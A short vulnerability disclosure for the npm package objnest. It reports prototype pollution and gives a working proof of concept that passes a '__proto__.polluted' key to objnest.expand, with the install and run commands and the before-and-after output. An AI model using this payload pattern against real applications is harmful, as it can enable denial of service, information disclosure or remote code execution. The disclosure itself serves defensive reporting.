objnest is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var objnest = require("objnest")
console.log("Before : " + {}.polluted);
objnest.expand({"__proto__.polluted": "Yes! Its Polluted"})
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i objnest # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
